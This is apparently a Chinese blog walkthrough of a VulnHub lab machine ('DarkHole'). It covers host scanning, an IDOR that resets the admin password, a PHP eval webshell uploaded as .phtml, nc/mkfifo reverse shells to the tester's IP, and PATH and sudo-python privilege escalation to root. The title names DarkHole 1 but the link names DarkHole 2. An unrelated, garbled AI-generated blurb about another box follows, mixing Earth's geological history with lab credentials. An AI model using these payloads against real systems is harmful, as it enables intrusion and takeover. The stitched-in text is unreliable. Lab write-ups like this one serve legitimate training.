VulnHub—DarkHole_ 1

靶机下载地址为:DarkHole: 2 ~ VulnHub

靶机IP:192.168.245.143

测试机系统:kali、win10

测试机IP:192.168.245.139

1.信息搜集与利用

1.1主机发现

nmap -sP 192.168.245.0/24

 发现靶机IP:192.168.245.143

1.2扫描IP端口服务

Nmap 探测该IP的端口和服务

nmap -A -P 192.168.245.143

靶机开启22和80端口,先访问一下80端口,显示为一个站点。

 2.漏洞挖掘

访问一下80端口,显示为一个站点。

 查看页面和审计页面源码,并没有发现关键信息。

点击login,进入登录页面

 尝试一下注册个账号

点击sign up now,然后注册一个账号(test:123456)。

注册成功后,登录进去系统。

 仅有更新个人信息和密码功能。

3、越权操作

更新一下密码,并使用BP抓包。

尝试是否存在越权操作漏洞,修改参数id=1 

事实证明,存在越权操作漏洞,且我们已经修改了id=1的账户(admin)的密码为123456。

使用管理员账户(admin:123456)登录系统,多了一个文件上传功能。

4、文件上传获取shell 

首先上传一个php文件,内容为:

<?php eval($_POST[lbwnb]);?>

但是出现报错,猜测是做了黑名单检测。

 将后缀名改为.phtml,再次上传,上传成功,且暴露了上传路径。

 

使用蚁剑连接,获取到shell

 5、反弹shell至kali

新建文件xxx.sh,并赋予执行权限,内容为

mknod backdoor p && nc 192.168.245.139 4444 0<backdoor | /bin/bash 1>backdoor

 在kali中开启监听

nc -lvvp 4444

在蚁剑虚拟终端中输入这条命令

rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.245.139 4444 >/tmp/f

kali中反弹成功

升级成交互式shell

python3 -c 'import pty; pty.spawn("/bin/bash")' 

 6.权限提升

通过find命令查找具有suid权限的文件

cd /home/john
find / -perm -u=s -type f 2>/dev/null

 使用PATH 变量进行权限提升,拿到john权限

echo $PATH
echo "/bin/bash" >/tmp/id
chmod 777 /tmp/id
export PATH=/tmp:$PATH
echo $PATH
./toto
whoami

 通过ls -l ,查看user拿到第一个flag,查看password拿到密码

 

 通过sudo -l,看到提升root的提示

 在file.py 文件中写入 import pty;pty.spawn("/bin/bash")

#file.py
echo 'import pty;pty.spawn("/bin/bash")' > file.py
cat file.py

提权至root成功

sudo python3 /home/john/file.py
id
cd /root
cat root.txt

 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
vulnhub靶场"planets"是一个信息搜集与利用的主机发现的靶场。你可以在找到更多关于该靶场的详细信息。 根据辐射测年估计和其他证据,地球形成于45亿年前。在地球历史的最初10亿年里,生命出现在海洋中,并开始影响地球的大气层和表面,导致厌氧生物和后来的需氧生物的扩散。一些地质证据表明,生命可能早在41亿年前就出现了。 如果你想登录vulnhub靶场"planets"的管理员界面,你可以使用用户名"terra"和密码"earthclimatechangebad4humans"登录https://earth.local/admin。<span class="em">1</span><span class="em">2</span><span class="em">3</span> #### 引用[.reference_title] - *1* *2* [vulnhub靶场——THE PLANETS:EARTH](https://blog.csdn.net/Czheisenberg/article/details/122900121)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] - *3* [靶场练习第二天~vulnhub靶场之 THE PLANETS: EARTH](https://blog.csdn.net/qq_57976347/article/details/122695436)[target="_blank" data-report-click={"spm":"1018.2226.3001.9630","extra":{"utm_source":"vip_chatgpt_common_search_pc_result","utm_medium":"distribute.pc_search_result.none-task-cask-2~all~insert_cask~default-1-null.142^v93^chatsearchT3_2"}}] [.reference_item style="max-width: 50%"] [ .reference_list ]

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

廾匸0705

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值